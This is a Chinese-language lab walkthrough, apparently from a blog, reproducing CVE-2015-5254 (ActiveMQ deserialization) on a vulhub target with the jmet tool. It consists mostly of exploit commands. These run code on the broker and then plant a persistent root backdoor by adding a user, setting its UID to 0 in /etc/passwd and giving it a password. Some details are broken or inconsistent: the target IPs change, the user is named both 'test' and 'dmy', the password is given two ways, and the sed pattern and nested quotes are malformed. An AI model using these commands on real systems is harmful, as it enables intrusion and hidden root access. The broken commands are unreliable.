(CVE-2015-5254)ActiveMQ 反序列化漏洞复现

漏洞描述

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。

漏洞影响版本
Apache ActiveMQ 5.13.0 之前的版本

漏洞环境

kali :192.168.18.151

命令执行操作
  1. 打开vulhub漏洞环境(CVE-2015-5254)

    环境运行后,将监听 61616 和 8161 两个端口其中 61616 是工作端口,消息在这个端口进行传递;8161 是网络管理页面端口访问 http://your-ip:8161 即可看到网络管理页面

  2. 访问192.168.18.151:8161,登录账户、默认密码(admin、admin)

  3. 使用 jmet 进行漏洞利用,下载 jmet 的 jar 文件,并在同目录下创建一个 external 文件夹。

    wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
    
    mkdir external
    (可以用linux也可以用windows下载,随自己)
    

  4. 执行命令

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.18.151 61616
    

    查看目标的 ActiveMQ 管理页面,发现添加了一个队列。

  5. 点击查看消息即可触发命令执行

    此时进入容器,可以发现tmp文件夹已被创建

    docker exec -it 81f86bcb730d /bin/bash
    ls
    
添加用户操作
  1. 执行 jmet 的命令添加 dmy 用户并将其添加到 root 组,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它:

    java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 dmy" -Yp ROME 192.168.110.134 61616
    
  2. 让我们再将 passwd 中的 test 的 uid 修改为 0,使它拥有 root 权限,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它

    java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "sed -i  "s/dmy:x10010/dmy:x0/g" /etc/passwd" -Yp ROME 192.168.110.134 61616
    
  3. 让我们再为 test 用户设置一个密码,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它

    java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "echo "dmy:sd123456" | chpasswd" -Yp ROME 192.168.110.134 61616
    

    到此为止,一个权限为 root,密码为 123456 的用户即创建完毕。我们可以使用 ssh直接远程登陆进入操作系统,并且还是最高权限。

    cat /etc/passwd 查看用户权限

参考链接

https://www.cnblogs.com/backlion/p/9970516.html

https://www.cnblogs.com/zztac/p/11869195.html

原文地址:https://www.cnblogs.com/kbhome/p/13210461.html